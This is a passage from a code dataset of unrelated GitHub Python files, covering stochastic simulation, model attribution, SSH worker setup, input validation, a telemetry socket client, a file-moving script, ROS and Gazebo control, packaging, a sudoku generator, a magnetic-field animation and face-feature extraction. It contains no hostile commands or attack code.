# potential energy shape\n locations = jnp.reshape(x,(2,3))\n distance = jnp.sqrt(jnp.sum((locations[0] - locations[1])**2))\n return (distance-4.0)**2\n\ndef drift(x):\n locations = jnp.reshape(x,(2,3))\n mu = pygrpy.jax_grpy_tensors.muTT(locations,radii)\n force = -jax.grad(u_ene)(x)\n return jnp.matmul(mu,force)\n\ndef noise(x):\n locations = jnp.reshape(x,(2,3))\n mu = pygrpy.jax_grpy_tensors.muTT(locations,radii)\n return jnp.sqrt(2)*jnp.linalg.cholesky(mu)\n\nproblem = pychastic.sde_problem.SDEProblem(\n drift,\n noise,\n x0 = jnp.reshape(jnp.array([[0.,0.,0.],[0.,0.,4.]]),(6,)),\n # dimension = 6,\n # noiseterms = 6,\n tmax = 500.0)\nsolver = pychastic.sde_solver.SDESolver()\n\ntrajectory = solver.solve(problem) # takes about 5 seconds\n\nplt.plot(trajectory['time_values'],trajectory['solution_values'][:,0])\nplt.plot(trajectory['time_values'],trajectory['solution_values'][:,3])\nplt.show()\n","repo_name":"RadostW/stochastic","sub_path":"examples/example_two_interacting_brownian_spheres.py","file_name":"example_two_interacting_brownian_spheres.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"48"} +{"seq_id":"42168497591","text":"import torch.nn as nn\nimport torch.nn.functional as F\n\nfrom captum.attr._utils.attribution import Attribution, GradientAttribution\nfrom captum.log import log_usage\nfrom captum._utils.common import (\n _format_inputs,\n _is_tuple,\n _format_tensor_into_tuples,\n _format_output,\n)\nfrom captum._utils.typing import TensorOrTupleOfTensorsGeneric\n\nfrom torch import Tensor\nfrom typing import Any, Tuple, Union, cast\n\n\nclass NonLinearitiesTunnel(Attribution):\n r\"\"\"\n Replace non linearities (or any module) with others before running\n an attribution method. This tunnel is originally intended to\n replace ReLU activations with Softplus to smooth the explanations.\n\n .. warning::\n This method will break if the forward_func contains functional\n non linearities with additional arguments that need to be replaced.\n For instance, replacing ``F.softmax(x, dim=-1)`` is not possible due\n to the presence of the extra argument ``dim``.\n\n .. hint::\n In order to replace any layer, a nn.Module must be passed as\n forward_func. In particular, passing ``model.forward`` will result\n in not replacing any layer in ``model``.\n\n Args:\n attribution_method (Attribution): An instance of any attribution\n algorithm of type `Attribution`. E.g. Integrated Gradients,\n Conductance or Saliency.\n\n References:\n #. `Time Interpret: a Unified Model Interpretability Library for Time Series `_\n #. `Explanations can be manipulated and geometry is to blame `_\n\n Examples:\n >>> import torch as th\n >>> from captum.attr import Saliency\n >>> from tint.attr import NonLinearitiesTunnel\n >>> from tint.models import MLP\n \n >>> inputs = th.rand(8, 7, 5)\n >>> mlp = MLP([5, 3, 1])\n \n >>> explainer = NonLinearitiesTunnel(Saliency(mlp))\n >>> attr = explainer.attribute(inputs, target=0)\n \"\"\"\n\n def __init__(\n self,\n attribution_method: Attribution,\n ) -> None:\n self.attribution_method = attribution_method\n self.is_delta_supported = (\n self.attribution_method.has_convergence_delta()\n )\n self._multiply_by_inputs = self.attribution_method.multiplies_by_inputs\n self.is_gradient_method = isinstance(\n self.attribution_method, GradientAttribution\n )\n Attribution.__init__(self, self.attribution_method.forward_func)\n\n @property\n def multiplies_by_inputs(self):\n return self._multiply_by_inputs\n\n def has_convergence_delta(self) -> bool:\n return self.is_delta_supported\n\n @log_usage()\n def attribute(\n self,\n inputs: Union[Tensor, Tuple[Tensor, ...]],\n to_replace: Union[nn.Module, Tuple[nn.Module, ...]] = nn.ReLU(),\n replace_with: Union[nn.Module, Tuple[nn.Module, ...]] = nn.Softplus(),\n **kwargs: Any,\n ) -> Union[\n Union[\n Tensor,\n Tuple[Tensor, Tensor],\n Tuple[Tensor, ...],\n Tuple[Tuple[Tensor, ...], Tensor],\n ]\n ]:\n r\"\"\"\n Args:\n inputs (tensor or tuple of tensors): Input for which integrated\n gradients are computed. If forward_func takes a single\n tensor as input, a single input tensor should be provided.\n If forward_func takes multiple tensors as input, a tuple\n of the input tensors should be provided. It is assumed\n that for all given input tensors, dimension 0 corresponds\n to the number of examples, and if multiple input tensors\n are provided, the examples must be aligned appropriately.\n It is also assumed that for all given input tensors,\n dimension 1 corresponds to the time dimension, and if\n multiple input tensors are provided, the examples must\n be aligned appropriately.\n to_replace (nn.Module, tuple, optional): Non linearities\n to be replaced. The linearities of type listed here will be\n replaced by ``replaced_by`` non linearities before running\n the attribution method. This can be an instance or a class.\n If a class is passed, default attributes are used.\n Default: nn.ReLU()\n replace_with (nn.Module, tuple, optional): Non linearities\n to replace the ones listed in ``to_replace``.\n Default: nn.Softplus()\n **kwargs: (Any, optional): Contains a list of arguments that are\n passed to `attribution_method` attribution algorithm.\n Any additional arguments that should be used for the\n chosen attribution method should be included here.\n For instance, such arguments include\n `additional_forward_args` and `baselines`.\n\n Returns:\n **attributions** or 2-element tuple of **attributions**, **delta**:\n - **attributions** (*tensor* or tuple of *tensors*):\n Attribution with\n respect to each input feature. attributions will always be\n the same size as the provided inputs, with each value\n providing the attribution of the corresponding input index.\n If a single tensor is provided as inputs, a single tensor\n is returned. If a tuple is provided for inputs, a tuple of\n corresponding sized tensors is returned.\n - **delta** (*float*, returned if return_convergence_delta=True):\n Approximation error computed by the\n attribution algorithm. Not all attribution algorithms\n return delta value. It is computed only for some\n algorithms, e.g. integrated gradients.\n \"\"\"\n # Keeps track whether original input is a tuple or not before\n # converting it into a tuple.\n is_inputs_tuple = isinstance(inputs, tuple)\n\n inputs = _format_inputs(inputs)\n\n # Check if needs to return convergence delta\n return_convergence_delta = (\n \"return_convergence_delta\" in kwargs\n and kwargs[\"return_convergence_delta\"]\n )\n\n _replaced_layers_tpl = None\n _replaced_functions = dict()\n try:\n # Replace layers using to_replace and replace_with\n if not isinstance(to_replace, tuple):\n to_replace = (to_replace,)\n if not isinstance(replace_with, tuple):\n replace_with = (replace_with,)\n\n if isinstance(self.attribution_method.forward_func, nn.Module):\n _replaced_layers_tpl = tuple(\n replace_layers(\n self.attribution_method.forward_func, old, new\n )\n for old, new in zip(to_replace, replace_with)\n )\n\n # Replace functional using to_replace and replace_with\n for old, new in zip(to_replace, replace_with):\n name, _ = get_functional(old)\n _, func = get_functional(new)\n _replaced_functions[name] = getattr(F, name)\n setattr(F, name, func)\n\n # Get attributions\n attributions = self.attribution_method.attribute.__wrapped__(\n self.attribution_method, # self\n inputs if is_inputs_tuple else inputs[0],\n **kwargs,\n )\n\n # Get delta if required\n delta = None\n if self.is_delta_supported and return_convergence_delta:\n attributions, delta = attributions\n\n # Format attributions\n is_attrib_tuple = _is_tuple(attributions)\n attributions = _format_tensor_into_tuples(attributions)\n\n # Even if any error is raised, restore layers and functions\n # before raising\n finally:\n # Restore layers\n if _replaced_layers_tpl is not None:\n for layer in _replaced_layers_tpl:\n reverse_replace_layers(\n self.attribution_method.forward_func,\n layer,\n )\n\n # Restore functions\n for name, func in _replaced_functions.items():\n setattr(F, name, func)\n\n return self._apply_checks_and_return_attributions(\n attributions,\n is_attrib_tuple,\n return_convergence_delta,\n delta,\n )\n\n def _apply_checks_and_return_attributions(\n self,\n attributions: Tuple[Tensor, ...],\n is_attrib_tuple: bool,\n return_convergence_delta: bool,\n delta: Union[None, Tensor],\n ) -> Union[\n TensorOrTupleOfTensorsGeneric,\n Tuple[TensorOrTupleOfTensorsGeneric, Tensor],\n ]:\n attributions = _format_output(is_attrib_tuple, attributions)\n\n ret = (\n (attributions, cast(Tensor, delta))\n if self.is_delta_supported and return_convergence_delta\n else attributions\n )\n ret = cast(\n Union[\n TensorOrTupleOfTensorsGeneric,\n Tuple[TensorOrTupleOfTensorsGeneric, Tensor],\n ],\n ret,\n )\n return ret\n\n\ndef replace_layers(model, old, new):\n \"\"\"\n Replace all the layers of type old into new.\n\n Returns:\n dict: Dictionary of replaced layers, saved to be restored after\n running the attribution method.\n\n References:\n https://discuss.pytorch.org/t/how-to-modify-a-pretrained-model/60509/12\n \"\"\"\n replaced_layers = dict()\n for n, module in model.named_children():\n if len(list(module.children())) > 0:\n replaced_layers[n] = replace_layers(module, old, new)\n\n if isinstance(module, old if type(old) == type else type(old)):\n replaced_layers[n] = getattr(model, n)\n setattr(model, n, new)\n return replaced_layers\n\n\ndef reverse_replace_layers(model, replaced_layers):\n \"\"\"\n Reverse the layer replacement using the ``replaced_layers``\n dictionary created when running ``replace_layers``.\n \"\"\"\n for k, v in replaced_layers.items():\n if isinstance(v, dict):\n reverse_replace_layers(getattr(model, k), v)\n else:\n setattr(model, k, v)\n\n\ndef get_functional(module):\n \"\"\"\n Map a nn Non linearity to a corresponding function.\n It returns the name of the function to be replaced and the function\n to replace it with.\n \"\"\"\n # Get default instance if ony type provided\n if type(module) == type:\n module = module()\n\n assert isinstance(module, nn.Module), \"You must provide a PyTorch Module.\"\n\n if isinstance(module, nn.Threshold):\n threshold = module.threshold\n value = module.value\n inplace = module.inplace\n if inplace:\n return \"threshold_\", lambda x: F.threshold_(x, threshold, value)\n return \"threshold\", lambda x: F.threshold(x, threshold, value)\n\n if isinstance(module, nn.ReLU):\n inplace = module.inplace\n if inplace:\n return \"relu_\", F.relu_\n return \"relu\", F.relu\n\n if isinstance(module, nn.ReLU6):\n inplace = module.inplace\n return \"relu6\", lambda x: F.relu6(x, inplace)\n\n if isinstance(module, nn.ELU):\n alpha = module.alpha\n inplace = module.inplace\n if inplace:\n return \"elu_\", lambda x: F.elu_(x, alpha)\n return \"elu\", lambda x: F.elu(x, alpha)\n\n if isinstance(module, nn.CELU):\n alpha = module.alpha\n inplace = module.inplace\n if inplace:\n return \"celu_\", lambda x: F.celu_(x, alpha)\n return \"celu\", lambda x: F.celu(x, alpha)\n\n if isinstance(module, nn.LeakyReLU):\n negative_slope = module.negative_slope\n inplace = module.inplace\n if inplace:\n return \"leaky_relu_\", lambda x: F.leaky_relu_(x, negative_slope)\n return \"leaky_relu\", lambda x: F.leaky_relu(x, negative_slope)\n\n if isinstance(module, nn.Softplus):\n beta = module.beta\n threshold = module.threshold\n return \"softplus\", lambda x: F.softplus(x, beta, threshold)\n\n if isinstance(module, nn.Softmax):\n dim = module.dim\n return \"softmax\", lambda x: F.softmax(x, dim=dim)\n\n if isinstance(module, nn.LogSoftmax):\n dim = module.dim\n return \"log_softmax\", lambda x: F.log_softmax(x, dim=dim)\n\n if isinstance(module, nn.Sigmoid):\n return \"sigmoid\", F.sigmoid\n\n if isinstance(module, nn.Tanh):\n return \"tanh\", F.tanh\n\n if isinstance(module, nn.Tanhshrink):\n return \"tanhshrink\", F.tanhshrink\n\n return None\n","repo_name":"josephenguehard/time_interpret","sub_path":"tint/attr/non_linearities_tunnel.py","file_name":"non_linearities_tunnel.py","file_ext":"py","file_size_in_byte":12913,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"48"} +{"seq_id":"31566102002","text":"import os\nimport sys\nfrom remote_runner import SSHWorker, SyncSSHWorker\n\n\ndef ssh_worker_factory():\n worker = SSHWorker(host='localhost')\n worker.remote_user_rc = f\"\"\"\nsource {os.path.abspath(os.path.join(os.path.dirname(sys.executable), \"activate\"))}\n\"\"\"\n return worker\n\n\ndef sync_ssh_worker_factory():\n worker = SyncSSHWorker(sync_period=0.2, host='localhost')\n worker.remote_user_rc = f\"\"\"\nsource {os.path.abspath(os.path.join(os.path.dirname(sys.executable), \"activate\"))}\n\"\"\"\n return worker\n","repo_name":"sizmailov/remote-runner","sub_path":"tests/ssh_common.py","file_name":"ssh_common.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33167155031","text":"import pysnooper \n\ndef get_input():\n data = {\n 'account_no': {\n 'prompt': \"Enter the account number: \",\n 'item_value': None},\n 'balance': {\n 'prompt': \"Enter account balance: \",\n 'item_value': None},\n 'customer_credit': {\n 'prompt': \"Enter the customer credit: \",\n 'item_value': None},\n 'customer_name': {\n 'prompt': \"Enter the customer name: \",\n 'item_value': None},\n }\n #field is the name of the key (account #, balance), field_data are entire dictionaries and prompt and item value are keys \n #data.items() converts into a list of tuples that contains the key value pair \n for field, field_data in data.items():\n field_data['item_value'] = input(field_data['prompt'])\n\n return data\n\n\ndef validate_account_no(account_number):\n if len(account_number) < 5:\n return False\n return True\n\n\ndef validate_balance(balance):\n if len(balance) < 5:\n return False\n return True\n\n\ndef validate_customer_credit(customer_credit):\n if len(customer_credit) < 5:\n return False\n return True\n\n\ndef validate_customer_name(customer_name):\n if len(customer_name) < 5:\n return False\n return True\n\n#unvalidates account no, returns the account_no dictionary \n#adding a new key to the embedded dictionary called is_valid \n#ammends to the data dictionary is_valid key \n\n#this is called a decorator with the @ sign. Modifies function \n@pysnooper.snoop()\ndef validate(unvalidated):\n unvalidated['account_no']['is_valid'] = False\n unvalidated['account_no']['validate'] = validate_account_no\n #creating new key called validate and assigning a value of type function (validate_account_no variable) \n unvalidated['balance']['is_valid'] = False\n unvalidated['balance']['validate'] = validate_balance\n unvalidated['customer_credit']['is_valid'] = False\n unvalidated['customer_credit']['validate'] = validate_customer_credit\n unvalidated['customer_name']['is_valid'] = False\n unvalidated['customer_name']['validate'] = validate_customer_name\n for field, field_data in unvalidated.items():\n field_data['is_valid'] = \\\n field_data['validate'](field_data['item_value'])\n \n #validate key is the variable is the variable with the function in it. Paranthese is the paraneter you are passing to it \n \n #you cannot have a tuple with 1 value in it, unless you have \n\n return unvalidated\n\n\ndef main():\n mydata = get_input()\n my_valid_data = validate(mydata)\n print(my_valid_data) # just to show\n\n\n#calling main \n#run main \nif __name__ == \"__main__\":\n main()","repo_name":"cryptosnowmanETH/exercises","sub_path":"lesson_part2.py","file_name":"lesson_part2.py","file_ext":"py","file_size_in_byte":2711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16752974237","text":"# Authors: Gabriel Bayer, Eugênio Pozzobon\n# e-mails: gbayer.formula@gmail.com, eugeniopp00@gmail.com\n# Github: https://github.com/Eugenio-Pozzobon\n# Linkedin: https://www.linkedin.com/in/eugeniopozzobon/\n# Licensed under the GNU General Public License v3.0\n\nimport socket\nimport src.settings as settings\nfrom tkinter import messagebox\nimport src.wcuScreen as wcuScreen\n\ncli = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\ndef conectClient():\n '''\n conect to the server based on settings file\n :return: none\n '''\n cli.connect((settings.socketIP, settings.socketPort))\n\ndef clientRecieve():\n '''\n read server until get an aceptable message\n :return: none\n '''\n while True:\n try:\n msg = cli.recv(1024)\n\n # check message integrity\n splitmsg = msg.decode('utf8').split(',')\n do = True\n for value in splitmsg:\n if value == '':\n value = '0'\n\n # if all bytes get recieved\n if(len(msg.decode('utf8').split(','))==(10+26)) & do:\n print((','.join(splitmsg)).encode())\n return (','.join(splitmsg)).encode()\n except:\n # if server disconect, end program\n messagebox.showwarning(title='Connection Warning', message = 'Server disconect. Close the navegator tab to end the aplication')\n wcuScreen.endWCU()\n sys.exit('Exit')\n\n\n\n\n\n","repo_name":"Eugenio-Pozzobon/Formula-UFSM-Data-Analysis","sub_path":"V4.0 - Python/src/wcuClientSocket.py","file_name":"wcuClientSocket.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1407933714","text":"import os\nimport shutil\n\n\ndef run():\n current_dir =input('Enter the directory where the files can be found \\n')\n current_dir = current_dir.replace(\"\\\\\",'/')\n location = input('Enter the directory where the files should be copied to \\n')\n location = location.replace(\"\\\\\",'/')\n checking = input('What is the file name category to be used to copy your files \\n')\n copy_or_cut = input('Do You want to cut the files, Please Y for yes \\n')\n \n os.chdir(current_dir)\n if os.path.isdir(os.getcwd()):\n for f in os.listdir():\n if len(f) >= len(checking):\n if (f[0:len(checking)]).strip() ==checking:\n if copy_or_cut =='Y':\n shutil.move(os.path.join(os.getcwd(),f),os.path.join(location, f)) \n else:\n shutil.copyfile(os.path.join(os.getcwd(),f),os.path.join(location, f)) \n \nrun()\n \nprint('Files moved, successfully') \nexit() \n \n \n","repo_name":"chukwudiMorganHezekiah/Python-Scripts","sub_path":"copy_cut.py","file_name":"copy_cut.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10203641849","text":"#!/usr/bin/env python\nimport rospy\nfrom std_msgs.msg import String\nimport tf2_ros\nimport geometry_msgs.msg\n\nfrom gazebo_msgs.msg import ModelState\nfrom geometry_msgs.msg import Pose\nfrom geometry_msgs.msg import Point\nfrom geometry_msgs.msg import Quaternion\nfrom geometry_msgs.msg import Vector3\nfrom geometry_msgs.msg import Twist\nfrom scipy.spatial.transform import Rotation as R\nimport numpy as np\n\nif __name__ == '__main__':\n\n\trospy.init_node('markermove_gazebo', anonymous=True)\n\tpub = rospy.Publisher('/gazebo/set_model_state', ModelState, queue_size=10)\n\tcounter = 0\n\ttransy = 0\n\ttransz = 0\n\n\t# define start point\n\ty0 = 0\t#-.02496\n\tz0 = 0.527\n\n\twhile not rospy.is_shutdown():\n\n\t\tif counter < 301:\n\t\t\ttransz=transz+0.001\n\t\t\tz = z0 - transz\n\t\t\ty = y0\n\t\t\tprint('move Z')\n\t\t\tprint(z)\t \n\t\telif counter > 300 and counter < 501:\t\n\t\t\ttransy=transy+0.001\n\t\t\ty = y0 - transy\n\t\t\tprint('move Y')\t\n\t\t\tprint(y)\n\t\telse: \n\t\t\tprint('finished')\n\t\t\tbreak \n\t\t\n\t\tpoint = Point(0.83, y, z)\n\t\tquaternion = Quaternion(1,1,1,1)\n\t\tpose = Pose(point,quaternion)\n\t\tvector = Vector3(0,0,0)\n\t\ttwist = Twist(vector,vector)\n\t\t\n\t\tmsg = ModelState('aruco_visual_marker_5', pose ,twist, 'world')\n\t\trospy.loginfo(msg)\n\t\tpub.publish(msg)\n\n\t\tcounter+=1\n\t\t# speed\t\n\t\trospy.sleep(0.05)\n\n\n","repo_name":"paulrupprecht/VisualServoing","sub_path":"src/custom_pkg/src/rectangle.py","file_name":"rectangle.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"48"} +{"seq_id":"22980977826","text":"# noqa: D100\n\nimport re\nfrom pathlib import Path\n\nfrom setuptools import find_packages, setup\n\n\ndef parse_reqs(file):\n \"\"\"Parse dependencies from requirements file with regex.\"\"\"\n egg_regex = re.compile(r\"#egg=(\\w+)\")\n reqs = list()\n for req in open(file):\n req = req.strip()\n git_url_match = egg_regex.search(req)\n if git_url_match:\n req = git_url_match.group(1)\n reqs.append(req)\n return reqs\n\n\nwith open(Path(__file__).parent / \"birdy\" / \"__init__.py\") as f:\n version = re.search(r'__version__ = [\\'\"](.+?)[\\'\"]', f.read()).group(1)\n\ndescription = \"Birdy provides a command-line tool to work with Web Processing Services.\"\nlong_description = (\n open(\"README.rst\").read()\n + \"\\n\"\n + open(\"AUTHORS.rst\").read()\n + \"\\n\"\n + open(\"CHANGES.rst\").read()\n)\n\nrequirements = parse_reqs(\"requirements.txt\")\ndev_requirements = parse_reqs(\"requirements_dev.txt\")\n\nclassifiers = [\n \"Development Status :: 4 - Beta\",\n \"Intended Audience :: Science/Research\",\n \"Operating System :: MacOS :: MacOS X\",\n \"Operating System :: Microsoft :: Windows\",\n \"Operating System :: POSIX\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 3\",\n \"Topic :: Scientific/Engineering :: Atmospheric Science\",\n]\n\nsetup(\n name=\"birdhouse-birdy\",\n version=version,\n description=description,\n long_description=long_description,\n long_description_content_type=\"text/x-rst\",\n classifiers=classifiers,\n keywords=\"wps pywps owslib geopython birdy birdhouse\",\n author=\"Carsten Ehbrecht\",\n author_email=\"ehbrecht@dkrz.de\",\n url=\"https://github.com/bird-house/birdy\",\n license=\"Apache License v2.0\",\n # This qualifier can be used to selectively exclude Python versions -\n # in this case early Python 2 and 3 releases\n python_requires=\">=3.6.0\",\n packages=find_packages(),\n include_package_data=True,\n install_requires=requirements,\n extras_require={\n \"dev\": dev_requirements, # pip install \".[dev]\"\n },\n entry_points={\"console_scripts\": [\"birdy=birdy.cli.run:cli\"]},\n)\n","repo_name":"bird-house/birdy","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2110,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"48"} +{"seq_id":"16017022436","text":"#!/usr/local/bin/python3.9\nimport random\n\norigin_board = [[0 for j in range(0,9)] for i in range(0,9)]\nboard = [[0 for j in range(0,9)] for i in range(0,9)]\n\nrow = [[0 for j in range(0,10)] for i in range(0,10)]\ncol = [[0 for j in range(0,10)] for i in range(0,10)]\ndiag = [[0 for j in range(0,10)] for i in range(0,10)]\n\nterminate_flag = False\n\ndef board_init():\n seq_diag = [0,4,8]\n for offset in range(0,9,3):\n seq = [i for i in range(1,10)]\n random.shuffle(seq)\n for idx in range(0,9):\n i, j = idx//3, idx%3\n row[offset+i][seq[idx]] = 1\n col[offset+j][seq[idx]] = 1\n k = seq_diag[offset//3]\n diag[k][seq[idx]] = 1\n origin_board[offset+i][offset+j] = seq[idx]\n\ndef make_sudoku(k):\n global terminate_flag, board\n\n if terminate_flag == True:\n return True\n\n if k > 80:\n for i in range(0,9):\n for j in range(0,9):\n board[i][j] = origin_board[i][j]\n\n terminate_flag = True\n return True\n\n i, j = k//9, k%9\n start_num = random.randint(1,9)\n\n if origin_board[i][j] != 0:\n make_sudoku(k+1)\n\n for m in range(1,10):\n #m = 1 + (m + start_num)%9\n d = (i//3)*3 + (j//3)\n \n if row[i][m] == 0 and col[j][m] == 0 and diag[d][m] == 0:\n row[i][m], col[j][m], diag[d][m] = 1, 1, 1\n origin_board[i][j] = m\n make_sudoku(k+1)\n row[i][m], col[j][m], diag[d][m] = 0, 0, 0\n origin_board[i][j] = 0\n\n\nboard_init()\nmake_sudoku(0)\nready_board = [board[i] for i in range(0,9)]\n\nprint(ready_board)\n\n'''\ndef dfs(depth):\n if depth == blank_num:\n for v in board:\n print(' '.join(map(str, v)))\n exit(0)\n\n y, x = pos[depth]\n for n in range(1, 10):\n if not row_arr[y][n] and not col_arr[x][n] and not box_arr[y//3*3+x//3][n]:\n row_arr[y][n] = col_arr[x][n] = box_arr[y//3*3+x//3][n] = True\n board[y][x] = n\n dfs(depth+1)\n row_arr[y][n] = col_arr[x][n] = box_arr[y//3*3+x//3][n] = False\n board[y][x] = 0\n\nboard = [list(map(int, input().split())) for _ in range(9)] \nrow_arr = [[False]*10 for _ in range(10)]\ncol_arr = [[False]*10 for _ in range(10)]\nbox_arr = [[False]*10 for _ in range(10)]\n\npos = []\nfor r in range(9):\n for c in range(9):\n if not board[r][c]:\n pos.append([r, c])\n else:\n row_arr[r][board[r][c]] = True\n col_arr[c][board[r][c]] = True\n box_arr[r//3*3+c//3][board[r][c]] = True\n\nblank_num = len(pos)\ndfs(0) \n'''","repo_name":"insertbaek/dev02","sub_path":"app/python/sudoku/make.py","file_name":"make.py","file_ext":"py","file_size_in_byte":2629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35895460775","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.colors as colors\nimport matplotlib.animation as animation\nimport keyboard\n\np = 8\ni = 2\nn_arrows = 33\ndistance = 3\nring_distance = 2.8\n\n\np *= 2 if p%2 == 0 else 1\ni /= p*2\nx,y = np.meshgrid(np.linspace(-5,5,n_arrows),np.linspace(-5,5,n_arrows))\nangle, m = np.meshgrid(np.linspace(0,2*np.pi,3*n_arrows),np.linspace(0,0,1))\n\n\ndef magnetic_field(cx, cy, i):\n Bx = -i*(y-cy)/((x-cx)**2 + (y-cy)**2)\n By = i*(x-cx)/((x-cx)**2 + (y-cy)**2)\n M = np.sqrt(Bx**2 + By**2)\n return Bx, By, M\n\n\ndef magnetic_field_modules_at_distance(cx, cy, i, distance):\n x_coord = np.cos(angle)*distance\n y_coord = np.sin(angle)*distance\n BxD = -i*(y_coord-cy)/((x_coord-cx)**2 + (y_coord-cy)**2)\n ByD = i*(x_coord-cx)/((x_coord-cx)**2 + (y_coord-cy)**2)\n MD = np.sqrt(BxD**2 + ByD**2)\n return BxD, ByD, MD\n\n\ndef rotate_vector(x, y, theta):\n x_rot = x*np.cos(theta) - y*np.sin(theta)\n y_rot = x*np.sin(theta) + y*np.cos(theta)\n return x_rot, y_rot\n\n\ndef magnetic_field_on_couples(p, i, distance, time):\n startx, starty = 0, distance\n sum_x, sum_y = 0, 0\n for k in range(p):\n vec_x, vec_y, M = magnetic_field(startx,starty,i*np.sin(2*np.pi/p*k+time))\n sum_x += vec_x\n sum_y += vec_y\n vec_x, vec_y, M = magnetic_field(-startx,-starty,-i*np.sin(2*np.pi/p*k+time))\n sum_x += vec_x\n sum_y += vec_y\n startx, starty = rotate_vector(startx, starty, 2*np.pi/p)\n tot_M = np.sqrt(sum_x**2 + sum_y**2)\n return sum_x, sum_y, tot_M\n\n\ndef magnetic_field_modules_on_couples(p, i, distance, ring_distance, time):\n startx, starty = 0, distance\n ang_x, ang_y = 0, 0\n for k in range(p):\n vecd_x, vecd_y, dM = magnetic_field_modules_at_distance(startx,starty,i*np.sin(2*np.pi/p*k+time), ring_distance)\n ang_x += vecd_x\n ang_y += vecd_y\n vecd_x, vecd_y, dM = magnetic_field_modules_at_distance(-startx,-starty,-i*np.sin(2*np.pi/p*k+time), ring_distance)\n ang_x += vecd_x\n ang_y += vecd_y\n startx, starty = rotate_vector(startx, starty, 2*np.pi/p)\n tot_MD = np.sqrt(ang_x**2 + ang_y**2)\n return ang_x, ang_y, tot_MD\n\n\nfig, (ax, ax2) = plt.subplots(1, 2)\ndivnorm = colors.TwoSlopeNorm(vmin=-1, vcenter=5, vmax=40)\ncolor_map_name = 'plasma'\n\n\nqr = ax.quiver(x,y, 0, 0, 0, cmap=color_map_name, norm=divnorm)\nqr2 = ax2.quiver(angle,m,0,0, cmap=color_map_name, norm=divnorm)\nqr2circle = ax2.quiver(np.cos(angle),np.sin(angle),0,0, cmap=color_map_name, norm=divnorm)\n\n\ntime = 1.01\ndelta_time = 0.1\nshow_circle = False\nnormalized = False\n\n\ndef iterate(first=False):\n global time\n global delta_time\n global ring_distance\n global show_circle\n global normalized\n if keyboard.is_pressed('d'):\n delta_time = 0.1\n elif keyboard.is_pressed('a'):\n delta_time = -0.1\n elif keyboard.is_pressed('space'):\n if delta_time == 0:\n delta_time = 0.1\n else:\n delta_time = 0\n elif keyboard.is_pressed('up'):\n ring_distance += 0.1\n elif keyboard.is_pressed('down'):\n ring_distance -= 0.1\n elif keyboard.is_pressed('c'):\n show_circle = not show_circle\n elif keyboard.is_pressed('n'):\n normalized = not normalized\n \n sum_x, sum_y, tot_M = magnetic_field_on_couples(p, i, distance, time)\n ang_x, ang_y, MD = magnetic_field_modules_on_couples(p, i, distance, ring_distance, time)\n mod = ang_x*np.cos(angle) + ang_y*np.sin(angle)\n \n if normalized:\n sum_x, sum_y = sum_x/tot_M, sum_y/tot_M\n ang_x, ang_y = ang_x/MD, ang_y/MD\n mod = mod/MD\n\n C1, C2, C3 = 1/tot_M, 1/MD, 1/MD\n if first:\n C1, C2, C3 = divnorm.vmax, divnorm.vmax, divnorm.vmax\n \n qr.set_UVC(sum_x, sum_y, C1)\n qr2circle.set_UVC(ang_x, ang_y, C2)\n qr2.set_UVC(0, mod, C3)\n\n if not first:\n if show_circle:\n ax2.set_xlim(-1.2, 1.2)\n qr2.set_UVC(0, 0, divnorm.vmax)\n else:\n ax2.set_xlim(0, 2*np.pi)\n qr2circle.set_UVC(0, 0, divnorm.vmax)\n time += delta_time\n\n\niterate(first=True)\n\n\ndef animate(num):\n iterate()\n\n\nani = animation.FuncAnimation(fig, animate, interval=100, blit=False)\nplt.show()","repo_name":"Asventalis/Magnetic-Field","sub_path":"vectors copy.py","file_name":"vectors copy.py","file_ext":"py","file_size_in_byte":4253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72337285905","text":"from Face_Recog.divide_image import FeatureExtraction\nimport glob\nimport cv2\nimport numpy as np\nfrom Face_Recog.ultils import tranpose,covariance\n\ndata_path = \"C:/Users/maiho/PycharmProjects/DPT/database/Face_Detected\"\nfeatures_path = \"C:/Users/maiho/PycharmProjects/DPT/Face_Recog/features_color_histogram.csv\"\n# initialize the color descriptor\ncd = FeatureExtraction((16, 24, 8))\n# open the output index file for writing\noutput = open(features_path, \"w\")\n# use glob to grab the image paths and loop over them\nface_vector = []\nfor imagePath in glob.glob(data_path + \"/*.jpg\"):\n\n\timageID = imagePath[imagePath.rfind(\"/\") + 1:]\n\timage = cv2.imread(imagePath)\n\t# print(image.shape)\n\t# describe the image\n\tfeatures = cd.extract(image)\n\tface_vector.append(features)\n\tfeatures = [str(f) for f in features]\n\n\toutput.write(\"%s,%s\\n\" % (imageID, \",\".join(features)))\n# close the index file\noutput.close()\n\nface_vector = np.asarray(face_vector)\nface_vector = face_vector.transpose()\n\n#STEP2: Normalize the face vectors by calculating the average face vector and subtracting it from each vector\navg_face_vector = face_vector.mean(axis=1)\navg_face_vector = avg_face_vector.reshape(face_vector.shape[0], 1)\nnormalized_face_vector = face_vector - avg_face_vector\n\n#STEP3: Calculate the Covariance Matrix or the Sigma\ncovariance_matrix = np.cov(np.transpose(normalized_face_vector))\neigen_values, eigen_vectors = np.linalg.eig(covariance_matrix)\n\n# chuyen vi ma tran\n\n# tranpose_matrix = tranpose(normalized_face_vector)\n# covariance_matrix = covariance(tranpose_matrix)\n# covariance_matrix = 